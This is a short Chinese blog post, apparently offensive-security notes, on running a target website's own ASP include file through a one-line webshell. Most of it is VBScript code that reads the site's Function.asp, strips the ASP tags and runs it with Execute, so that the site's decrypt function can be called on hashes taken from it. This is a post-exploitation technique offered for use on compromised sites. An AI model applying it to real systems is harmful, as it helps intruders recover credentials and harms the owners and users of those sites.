asp一句话自写脚本执行include包含文件方法

有时候不想把目标网站函数都复制到自写脚本,想调用网站自己的函数
比如我们想调用下面文件里的decrypt函数来解密一些东西

<!-- #include file = "Library/Function.asp" -->

asp eval 一句话执行这种语句会出错的.
可以用下面代码达到包含效果

Function file_get_contents(filename)
Dim fso, f
Set fso = Server.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
Function class_get_contents(filename)
Dim contents
contents = file_get_contents(filename)
contents = Replace(contents, "<!--", "'<!--")
contents = Replace(contents, "<" & "%", "")
contents = Replace(contents, "%" & ">", "")
class_get_contents = contents
End Function

Dim paths
paths = "c:\wwwroot\" '要包含文件的物理路径
Execute class_get_contents(paths & "Library\Function.asp")

Response.Write(decrypt('要解密的hash'))

参考
http://wangye.org/blog/archives/272/

上一篇
下一篇